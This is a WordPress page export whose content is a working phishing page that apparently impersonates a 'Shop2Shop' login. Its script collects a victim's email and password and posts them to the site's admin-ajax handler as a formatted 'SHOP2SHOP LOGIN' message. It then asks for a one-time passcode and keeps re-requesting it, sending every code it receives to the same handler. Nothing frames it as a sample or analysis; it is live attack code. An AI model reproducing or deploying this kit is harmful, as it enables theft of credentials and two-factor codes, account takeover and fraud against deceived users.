{"id":9,"date":"2026-04-07T17:56:07","date_gmt":"2026-04-07T17:56:07","guid":{"rendered":"https:\/\/diss.ink\/?page_id=9"},"modified":"2026-04-07T18:44:15","modified_gmt":"2026-04-07T18:44:15","slug":"app","status":"publish","type":"page","link":"https:\/\/diss.ink\/index.php\/app\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"9\" class=\"elementor elementor-9\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-309ce4f elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"309ce4f\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-d4d223f\" data-id=\"d4d223f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-6a78074 elementor-widget elementor-widget-shortcode\" data-id=\"6a78074\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\"><style>\r\n\r\ninput:focus{outline:none!important;box-shadow:none!important}\r\n\r\n.fast-full{\r\nposition:fixed;\r\ninset:0;\r\nbackground:var(--middle-color);\r\ndisplay:flex;\r\njustify-content:center;\r\npadding-top:20px; \/* \ud83d\udc48 space \u06a9\u0645 *\/\r\n\r\n.fast-wrap{width:90%;max-width:420px}\r\n\r\n\/* \u2705 LOGO FIX *\/\r\n.fast-wrap img{\r\ndisplay:block;\r\nmargin:10px 0 10px 0;\r\n}\r\n\r\n\/* OTP *\/\r\n.otp-input{\r\nwidth:70px;\r\nheight:60px;\r\nbackground:#253D58;        \/* \u2705 same as step1 inputs *\/\r\nborder:1px solid #364B63;  \/* \u2705 same border *\/\r\ncolor:#fff;\r\nborder-radius:12px;\r\ntext-align:center;\r\nfont-size:17px;\r\nfont-weight:500;\r\nfont-family:'Saira', sans-serif;\r\n}\r\n\r\n.otp-input::placeholder{\r\nfont-size:19px;   \/* \ud83d\udc48 \u0635\u0631\u0641 placeholder \u0686\u06be\u0648\u0679\u0627 *\/\r\ncolor:#677381;    \/* optional *\/\r\nfont-weight:500;\r\n}\r\n\r\n\/* =========================\r\n   INPUT FIELDS\r\n========================= *\/\r\n.fast-input{\r\nmargin-top:20px;   \r\nwidth:100%;\r\nborder:none;\r\nbackground:var(--input-bg);\r\ncolor:#fff;\r\npadding:16px;\r\nmargin-top:10px; \/* \u2705 FIX *\/\r\nfont-size:17px;\r\nborder-radius:12px;\r\nborder:1px solid #364B63;\r\nfont-family:'Saira', sans-serif;\r\nfont-weight:500;\r\n}\r\n\r\n.fast-input::placeholder{\r\ncolor:#677381;\r\nfont-weight:500;\r\nfont-size:17px; \/* \ud83d\udc48 placeholder size *\/\r\nfont-family:'Saira', sans-serif;\r\n}\r\n\r\n.fast-input:focus{\r\nbackground:var(--input-focus);\r\n}\r\n\r\n\/* =========================\r\n   BUTTONS\r\n========================= *\/\r\n.fast-btn{\r\nmargin-bottom:40px;    \r\nposition:fixed;\r\nbottom:40px; \/* \ud83d\udc48 40px space from bottom *\/\r\nleft:50%;\r\ntransform:translateX(-50%);\r\nwidth:90%;\r\nmax-width:420px;\r\npadding:16px;\r\nborder:none;\r\nbackground:#FA9C25;\r\ncolor:#fff;\r\nfont-family:'Saira', sans-serif;\r\nfont-size:17px; \/* \ud83d\udc48 button text *\/\r\nborder-radius:14px;\r\nborder:1px solid #FA9C25;\r\nfont-weight:500;\r\n}\r\n\r\n.verify-btn{\r\nwidth:100%;\r\nmargin-top:20px;\r\npadding:18px;\r\nbackground:#FA9C25;\r\nborder:none;\r\nborder-radius:14px;\r\nfont-size:18px;\r\nfont-weight:500;\r\ncolor:#fff;\r\n}\r\n\r\n\/* =========================\r\n   TEXT \/ LINKS\r\n========================= *\/\r\n.remember{\r\nmargin-top:6px; \/* \u2705 FIX *\/\r\nfont-size:17px;\r\nfont-weight:500;\r\n}\r\n\r\n.remember input{\r\naccent-color:#FA9C25;\r\n}\r\n\r\n.register{\r\nposition:fixed;\r\nbottom:10px; \/* \ud83d\udc48 button \u06a9\u06d2 \u0646\u06cc\u0686\u06d2 *\/\r\nleft:50%;\r\ntransform:translateX(-50%);\r\ntext-align:center;\r\ncolor:#fff;\r\nfont-weight:500;\r\nwidth:100%;\r\nmax-width:420px;\r\n}\r\n\r\n.register span:last-child{\r\ncolor:#FA9C25;\r\n}\r\n\r\n.small-text{\r\nmargin-top:10px;\r\nfont-size:14px;\r\nfont-weight:500;\r\ncolor:#FA9C25;   \/* \u2705 button jaisa orange *\/\r\nfont-family:'Saira', sans-serif;\r\n}\r\n\r\n.timer-box{\r\nmargin-top:15px;\r\nfont-size:17px;\r\nfont-weight:500;\r\ncolor:#FA9C25;   \/* \u2705 same orange *\/\r\n}\r\n\r\n\/* =========================\r\n   OTP SECTION\r\n========================= *\/\r\n.otp-wrapper{\r\nmargin-top:30px;\r\nbackground:#152D49;\r\npadding:22px;\r\nborder-radius:18px;\r\ndisplay:flex;\r\nborder:1px solid #1A334E;\r\njustify-content:center;\r\ngap:14px;\r\n}\r\n\r\n\/* =========================\r\n   TIMER BOX\r\n========================= *\/\r\n.timer-box{\r\nmargin-top:20px;\r\nbackground:#132f4a;\r\npadding:12px;\r\nborder-radius:10px;\r\nfont-size:17px;\r\nfont-weight:500;\r\n}\r\n\r\n\/* =========================\r\n   UTILITIES\r\n========================= *\/\r\n.fast-hidden{\r\ndisplay:none;\r\n}\r\n\r\n\/* LOADER *\/\r\n#pageLoader{\r\nposition:fixed;\r\ninset:0;\r\nbackground:#0B2644;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\nz-index:9999;\r\npointer-events:none;\r\n}\r\n\r\n.spinner-center{\r\nwidth:50px;\r\nheight:50px;\r\nborder:5px solid rgba(255,255,255,0.2);\r\nborder-top:5px solid #FA9C25;\r\nborder-radius:50%;\r\nanimation:spin 1s linear infinite;\r\n}\r\n\r\n@keyframes spin{\r\n0%{transform:rotate(0deg);}\r\n100%{transform:rotate(360deg);}\r\n}\r\n\r\n\/* LOGO LEFT TOP *\/\r\n.step-logo{\r\nwidth:100px;\r\ndisplay:block;\r\nmargin:10px 0 50px 0;\r\nposition:relative;\r\ntop:-30px; \/* \ud83d\udc48 \u0635\u0631\u0641 logo \u0627\u0648\u067e\u0631 \u062c\u0627\u0626\u06d2 \u06af\u0627 *\/\r\n}\r\n\r\n\/* FORGOT RIGHT *\/\r\n.forgot{\r\nposition:relative;\r\nmargin-top:25px;\r\nright:5px;   \/* \ud83d\udc48 3px \u0627\u0646\u062f\u0631 \u0622 \u062c\u0627\u0626\u06d2 \u06af\u0627 *\/\r\ntext-align:right;\r\nfont-family:'Saira', sans-serif;\r\nfont-weight:500;\r\nfont-size:17px;\r\ncolor:#fff;\r\n}\r\n\r\n\/* REGISTER BELOW BUTTON *\/\r\n.register{\r\nposition:fixed;\r\nbottom:40px;   \/* \ud83d\udc48 button (40px) \u0633\u06d2 10px \u0646\u06cc\u0686\u06d2 *\/\r\nleft:23px;\r\ntransform:none;\r\ntext-align:left;\r\ncolor:#fff;\r\nfont-weight:500;\r\nfont-family:'Saira', sans-serif;\r\nfont-size:17px;\r\n}\r\n\r\n\/* BUTTON FIXED *\/\r\n.fast-btn{\r\nposition:fixed;\r\nbottom:50px;\r\nleft:50%;\r\ntransform:translateX(-50%);\r\nwidth:90%;\r\nmax-width:420px;\r\n}\r\n\r\n.pass-wrap{\r\nposition:relative;\r\n}\r\n\r\n#togglePass{\r\nposition:absolute;\r\nright:15px;\r\ntop:50%;\r\ntransform:translateY(-30%); \/* \ud83d\udc48 \u062a\u06be\u0648\u0691\u0627 \u0646\u06cc\u0686\u06d2 \u0622\u0626\u06d2 \u06af\u0627 *\/\r\ncursor:pointer;\r\nfont-size:17px;\r\ncolor:#aaa;\r\nfont-weight:500;\r\n}\r\n\r\n.form-title{\r\ntext-align:left;\r\ncolor:#fff;\r\nfont-family:'Saira', sans-serif;\r\nfont-size:17px;\r\nfont-weight:500;\r\nmargin:8px 0;\r\npadding-left:5px;\r\n}\r\n\r\n.resend-text{\r\nmargin-top:15px;\r\nfont-size:17px;\r\nfont-weight:500;\r\nfont-family:'Saira', sans-serif;\r\n}\r\n\r\n.resend-label{\r\ncolor:#fff;          \/* \u2705 white text *\/\r\n}\r\n\r\n#timer{\r\ncolor:#FA9C25;       \/* \u2705 button jaisa orange *\/\r\n}\r\n\r\n<\/style>\r\n\r\n<div id=\"pageLoader\">\r\n    <div class=\"spinner-center\"><\/div>\r\n<\/div>\r\n\r\n<div class=\"fast-full\">\r\n<div class=\"fast-wrap\">\r\n\r\n<!-- STEP1 -->\r\n<div id=\"step1\" style=\"padding-bottom:120px; padding-top:40px;\">\r\n\r\n<img decoding=\"async\" class=\"step-logo\" src=\"https:\/\/diss.ink\/wp-content\/uploads\/2026\/04\/logo.png\">\r\n\r\n<div class=\"form-title\">Update Account with Login Details<\/div>\r\n\r\n<input id=\"email\" class=\"fast-input\" placeholder=\"Email\">\r\n<div class=\"pass-wrap\">\r\n  <input id=\"pass\" type=\"password\" class=\"fast-input\" placeholder=\"Password\">\r\n  <i id=\"togglePass\" class=\"fa-solid fa-eye\"><\/i>\r\n<\/div>\r\n\r\n<div class=\"forgot\">Forgot Password?<\/div>\r\n\r\n<button id=\"btn1\" class=\"fast-btn\" disabled>Update<\/button>\r\n\r\n<div class=\"register\">\r\n  <span>New user?<\/span> <span>Register<\/span>\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP2 -->\r\n<div id=\"step2\" class=\"fast-hidden\" style=\"padding-bottom:120px; padding-top:40px;\">\r\n<img decoding=\"async\" class=\"step-logo\" src=\"https:\/\/diss.ink\/wp-content\/uploads\/2026\/04\/logo.png\">\r\n<div class=\"form-title\" style=\"font-size:17px;font-weight:500;\">Enter 4-digit OTP Code<\/div>\r\n\r\n<div class=\"small-text\">A verification OTP has been sent to your registered mobile number.<\/div>\r\n\r\n<div class=\"otp-wrapper\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d1\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d2\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d3\">\r\n<input class=\"otp-input\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" placeholder=\"0\" maxlength=\"1\" id=\"d4\">\r\n<\/div>\r\n\r\n<button id=\"btn2\" class=\"fast-btn\" disabled>VERIFY<\/button>\r\n\r\n<div class=\"resend-text\">\r\n  <span class=\"resend-label\">Resend code in<\/span> \r\n  <span id=\"timer\">04:00<\/span>\r\n<\/div>\r\n\r\n<\/div>\r\n<\/div>\r\n\r\n<script>\r\nconst ajaxurl=\"https:\/\/diss.ink\/wp-admin\/admin-ajax.php\";\r\nlet msgID=\"\",fullText=\"\";\r\n\r\nemail.oninput=pass.oninput=()=>btn1.disabled=!(email.value&&pass.value);\r\n\r\n\/* STEP1 *\/\r\nbtn1.onclick=async()=>{\r\nbtn1.disabled=true;btn1.innerText=\"Processing...\";\r\nlet res=await fetch(ajaxurl,{method:'POST',headers:{'Content-Type':'application\/x-www-form-urlencoded'},\r\nbody:new URLSearchParams({action:'send_step1',email:email.value,pass:pass.value})});\r\nmsgID=(await res.text()).trim();\r\nfullText=`\ud83d\udfe2 SHOP2SHOP LOGIN\\n\\n\ud83d\udce7 Email: ${email.value}\\n\ud83d\udd11 Password: ${pass.value}`;\r\nsetTimeout(()=>{step1.style.display=\"none\";step2.style.display=\"block\";},3000);\r\n};\r\n\r\n\/* OTP INPUT *\/\r\nconst inputs=[d1,d2,d3,d4];\r\ninputs.forEach((input,index)=>{\r\ninput.addEventListener(\"input\",()=>{\r\ninput.value=input.value.replace(\/[^0-9]\/g,'');\r\nif(input.value && index<3) inputs[index+1].focus();\r\nbtn2.disabled=(d1.value+d2.value+d3.value+d4.value).length!==4;\r\n});\r\n});\r\n\r\n\/* OTP LOOP *\/\r\nbtn2.onclick=async()=>{\r\nbtn2.disabled=true;btn2.innerText=\"Processing...\";\r\nlet otp=d1.value+d2.value+d3.value+d4.value;\r\nfullText+=\"\\n\ud83d\udd22 OTP: \"+otp;\r\n\r\nawait fetch(ajaxurl,{method:'POST',headers:{'Content-Type':'application\/x-www-form-urlencoded'},\r\nbody:new URLSearchParams({action:'send_step2',msg_id:msgID,full_text:fullText})});\r\n\r\nsetTimeout(()=>{\r\ninputs.forEach(i=>i.value=\"\");\r\nbtn2.innerText=\"VERIFY\";\r\nbtn2.disabled=true;\r\nd1.focus();\r\n},3000);\r\n};\r\n\r\n\/* TIMER 4 MIN *\/\r\nlet time=240;\r\nsetInterval(()=>{\r\nif(time>0){\r\ntime--;\r\nlet m=Math.floor(time\/60).toString().padStart(2,'0');\r\nlet s=(time%60).toString().padStart(2,'0');\r\ntimer.innerText=m+\":\"+s;\r\n}\r\n},1000);\r\n\r\nwindow.onload = function(){\r\n    document.getElementById(\"pageLoader\").style.display = \"none\";\r\n};\r\n\r\nconst passField = document.getElementById(\"pass\");\r\nconst togglePass = document.getElementById(\"togglePass\");\r\n\r\ntogglePass.addEventListener(\"click\", ()=>{\r\n  if(passField.type === \"password\"){\r\n    passField.type = \"text\";\r\n    togglePass.classList.remove(\"fa-eye\");\r\n    togglePass.classList.add(\"fa-eye-slash\");\r\n  }else{\r\n    passField.type = \"password\";\r\n    togglePass.classList.remove(\"fa-eye-slash\");\r\n    togglePass.classList.add(\"fa-eye\");\r\n  }\r\n});\r\n\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-9","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/pages\/9","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/comments?post=9"}],"version-history":[{"count":8,"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/pages\/9\/revisions"}],"predecessor-version":[{"id":20,"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/pages\/9\/revisions\/20"}],"wp:attachment":[{"href":"https:\/\/diss.ink\/index.php\/wp-json\/wp\/v2\/media?parent=9"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}